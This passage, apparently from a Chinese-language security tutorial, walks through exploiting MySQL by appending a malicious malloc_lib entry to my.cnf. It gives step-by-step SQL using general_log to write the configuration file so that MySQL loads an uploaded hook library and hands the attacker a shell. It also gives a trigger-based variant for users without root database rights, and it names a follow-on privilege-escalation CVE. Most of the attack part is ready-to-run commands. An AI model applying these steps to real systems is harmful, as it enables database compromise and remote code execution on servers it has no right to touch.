然后通过上文所讲的各种方式将生成的mysql_hookandroot_lib.so上传到目标机的/tmp目录下即可。
接下来,我们要确定要修改的MySQL配置文件为哪个。MySQL的配置文件除了默认的 /etc/my.cnf,还有别的配置文件路径,并且是顺序读取的:
File Name Purpose/etc/my.cnf Global options
/etc/mysql/my.cnf Global options
SYSCONFDIR/my.cnf Global options
$MYSQL_HOME/my.cnf Server-specific options (server only)
defaults-extra-file The file specified with--defaults-extra-file, if any
~/.my.cnf User-specific options
~/.mylogin.cnf User-specific login path options (clients only)
可见MySQL不仅会读取/etc/my.cnf,还会读取$MYSQL_HOME/my.cnf即msyql自身目录下的mf.cnf。那我们到底修改哪一个my.cnf呢?答案是都可以,但最好是mysql目录下的,因为msyql目录毕竟是人家mysql自己的目录,以mysql用户运行的mysql当然是有权限写的,而别的文件可就不好说了。但也无法避免管理员的错误配置情况,所以,只要mysql用户有mysql配置文件的所属权限,攻击便可以追加恶意的配置项到该文件。
其次,我们还要确定用什么方法写my.cnf文件。一说到写文件,我们便可以想到into outfile和into dumpfile。但是在这里,我们不能用这种方式,因为outfile和dumpfile写出来的文件的权限为-rw-rw-rw,而MySQL有一个安全规则,即如果配置文件的权限可被其他用户写,则将会忽略这个配置文件。所以outfile和dumpfile写出来的配置文件不符合该安全规则。
我们可以用上文中讲的log写文件的方法。并且log写文件对于已存在的文件将会自动追加,正好可以避免写入的以下banner内容对MySQL配置文件的影响,也就是说,如果要用log写配置文件的话,该配置文件必须是mysql已经创建好的。
攻击者在目标主机的MySQL里执行以下操作即可写入MySQL配置文件:
mysql> set global general_log = on; # 开启日志功能 mysql> set global general_log_file = '/etc/my.cnf'; # 设置日志存放路径为mf.cnf mysql> select " # 执行后,将在日志中(my.cnf)中写入恶意配置 "> [mysqld] "> malloc_lib=/tmp/mysql_hookandroot_lib.so "> "> #"; mysql> set global general_log = off; # 关闭日志功能
查看目标机MySQL配置文件,发现已经成功写入了恶意的配置项:
然后等待目标mysql,攻击者机器上边获得了目标主机的shell:
上述的操作要修改general_log全局变量,也就是说攻击者当前获得权限的MySQL用户必须是root权限。如果攻击者当前获得权限的MySQL用户不是root权限,则我们无法修改general_log全局变量,那么此时我们还可以利用此漏洞吗?当然可以,只需要一个具有 select、insert、create、file 权限的用户即可。
我们可以利用MySQL触发器的方法来成功写入修改配置文件:
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf AFTER INSERT ON `active_table` FOR EACH ROW BEGIN DECLARE void varchar(550); set global general_log_file='/var/lib/mysql/my.cnf'; set global general_log = on; select " [mysqld] malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' " INTO void; set global general_log = off; END;当表刷新的时候就会执行触发器,比如通过insert来让表刷新:
INSERT INTO `active_table` VALUES('xyz');触发器的代码会以mysql root权限执行,从而让攻击者修改general_log设置,即使此时攻击者没有数据库的管理员权限。
给出一个利用脚本:
CVE-2016-6663(可将www-data权限提升为mysql权限)